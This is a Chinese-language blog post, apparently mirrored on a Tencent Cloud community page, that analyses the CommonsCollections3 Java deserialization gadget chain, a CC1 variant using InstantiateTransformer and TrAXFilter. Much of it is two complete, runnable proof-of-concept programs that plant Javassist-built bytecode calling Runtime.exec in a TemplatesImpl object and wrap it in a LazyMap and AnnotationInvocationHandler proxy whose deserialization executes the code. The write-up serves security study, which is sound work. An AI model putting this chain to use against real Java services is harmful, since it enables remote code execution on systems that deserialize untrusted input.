首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CommonsCollections3 反序列化链分析

CommonsCollections3 反序列化链分析

作者头像
yulate
发布2023-05-02 10:54:41
发布2023-05-02 10:54:41
2720
举报

CommonsCollections3 反序列化链分析

一、前言

Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.

CommonsCollections1 的变体,它使用 InstantiateTransformer 而不是 InvokerTransformer。

二、利用链分析

这部分和CC2中的差不多,将恶意字节流注入到org.apache.xalan.xsltc.trax.TemplateImpl中的_bytecodes属性,等待调用TemplatesImpl#newTransformer方法,直接看截图吧

到这里可以构造出初步的利用链,和CC1的一模一样。

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import java.lang.reflect.Field;  
public class CC3 {  
    public static void main(String[] args) throws Exception {  
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池  
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径  
        CtClass payload = classPool.makeClass("CommonsCollections33333333");//创建一个新的public类  
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections33333类的父类为AbstractTranslet  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime  
        byte[] bytes = payload.toBytecode();//转换为byte数组  
//        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  
        TemplatesImpl templatesImpl = new TemplatesImpl();  
        Field name = templatesImpl.getClass().getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templatesImpl, "test");  
        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
        bytecodes.set(templatesImpl, new byte[][]{bytes});  
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templatesImpl, new TransformerFactoryImpl());  
        templatesImpl.newTransformer();  
    }  
}

到这里利用链都是和CC2一致的,到下面的步骤需要寻找调用templatesImpl.newTransformer()方法的类,在ysoserial中CC3使用TrAXFilter类中的构造方法中调用了该方法

CC3的出现就是在过滤InvokerTransformer类情况下的绕过,CC3使用InstantiateTransformer#transform(object input)方法来绕过该过滤,与InvokerTransformer#transform类似,该方法调用了传入的TrAXFilter类传入的object对象的构造方法

如果transform方法传入参数input可控,且iParamTypes(传入对象的构造方法)与iArgs(构造方法的传入参数)可控,即可调用任意类的构造方法。

通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iArgs参数的控制。目前的目标是调用TrAXFilter(恶意Templates对象)构造方法,通过构造上文提到的ChainedTransformer反射链,完成如下效果:

代码语言:javascript
复制
TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)

从而实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用。从而完成利用链的构造。

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import javax.xml.transform.Templates;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.HashMap;  
import java.util.Map;  
public class CC3 {  
    public static void main(String[] args) throws Exception {  
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String AnnotationInvocationHandler = "sun.reflect.annotation.AnnotationInvocationHandler";  
//        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池  
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径  
        CtClass payload = classPool.makeClass("CommonsCollections33333333");//创建一个新的public类  
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime  
        byte[] bytes = payload.toBytecode();//转换为byte数组  
//        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  
        final TemplatesImpl templatesImpl = new TemplatesImpl();  
        Field name = templatesImpl.getClass().getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templatesImpl, "test");  
        Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
        bytecodes.set(templatesImpl, new byte[][]{bytes});  
        Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templatesImpl, new TransformerFactoryImpl());  
//        templatesImpl.newTransformer();  
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})  
        });  
        HashMap<Object, Object> map = new HashMap<Object, Object>();  
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);  
        Class aClass = Class.forName(AnnotationInvocationHandler);  
        Constructor an = aClass.getDeclaredConstructor(Class.class, Map.class);  
        an.setAccessible(true);  
        InvocationHandler instance = (InvocationHandler) an.newInstance(Override.class, lazyMap);  
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);  
        Object os = an.newInstance(Override.class, mapProxy);  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(os);  
        oos.close();  
        System.out.println(barr);  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));  
        Object o = ois.readObject();  
        System.out.println(o);  
    }  
}

浏览量: 21

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-1-06 0,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CommonsCollections3 反序列化链分析
    • 一、前言
    • 二、利用链分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档